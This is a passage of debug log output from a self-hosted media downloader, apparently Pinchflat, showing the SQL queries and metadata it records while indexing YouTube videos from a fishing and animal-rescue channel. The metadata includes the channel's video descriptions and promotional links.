"uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "864abc9b-6f01-4c3b-a285-973e00252235", "J-STRAtlMwM", false, "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, [], 2451, false, 13, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, false, 98, ~U[2025-05-31 12:05:14Z], ~U[2026-06-03 12:30:22Z], ~U[2026-06-03 12:30:22Z], "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "J-STRAtlMwM", "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, 2451, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, ~U[2025-05-31 12:05:14Z]] 08:30:22.915 [debug] QUERY OK source="sources" db=0.1ms idle=138.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:22.915 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:22.916 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118980] 08:30:22.916 [debug] Current batch of media processed. Will check again in 1000ms 08:30:23.916 [debug] Current batch of media processed. Will check again in 1000ms 08:30:24.918 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1964, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", "id" => "32XYlQoTwvg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=32XYlQoTwvg", "playlist_index" => 14, "timestamp" => 1745064031, "title" => "I Found a Monster Living in My Pond…", "upload_date" => "20250419"} 08:30:24.920 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=229.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:24.921 [debug] QUERY OK source="sources" db=0.5ms idle=231.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:24.923 [debug] QUERY OK source="media_items" db=1.6ms idle=232.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 12:00:31Z], 33] 08:30:24.925 [debug] QUERY OK source="media_items" db=1.2ms idle=234.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "e0f57a03-476e-4698-918b-b21db194b601", "32XYlQoTwvg", false, "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, [], 1964, false, 14, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, false, 98, ~U[2025-04-19 12:00:31Z], ~U[2026-06-03 12:30:24Z], ~U[2026-06-03 12:30:24Z], "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "32XYlQoTwvg", "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, 1964, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, ~U[2025-04-19 12:00:31Z]] 08:30:24.925 [debug] QUERY OK source="sources" db=0.1ms idle=145.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:24.925 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:24.926 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118981] 08:30:24.926 [debug] Current batch of media processed. Will check again in 1000ms 08:30:25.927 [debug] Current batch of media processed. Will check again in 1000ms 08:30:26.928 [debug] Current batch of media processed. Will check again in 1000ms 08:30:27.930 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1780, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", "id" => "m6aOMjI6w1o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m6aOMjI6w1o", "playlist_index" => 15, "timestamp" => 1742041322, "title" => "I Found Axolotls in a Hidden Tunnel!", "upload_date" => "20250315"} 08:30:27.931 [debug] QUERY OK source="sources" db=0.4ms idle=1241.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:27.932 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1242.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:27.934 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1242.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 12:22:02Z], 33] 08:30:27.938 [debug] QUERY OK source="media_items" db=2.5ms idle=1152.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "87fb0f07-1d60-4b72-a72c-296c803db7ad", "m6aOMjI6w1o", false, "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, [], 1780, false, 15, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, false, 98, ~U[2025-03-15 12:22:02Z], ~U[2026-06-03 12:30:27Z], ~U[2026-06-03 12:30:27Z], "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "m6aOMjI6w1o", "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, 1780, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, ~U[2025-03-15 12:22:02Z]] 08:30:27.938 [debug] QUERY OK source="sources" db=0.3ms idle=154.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:27.939 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:27.940 [debug] QUERY OK source="media_items" db=0.4ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour 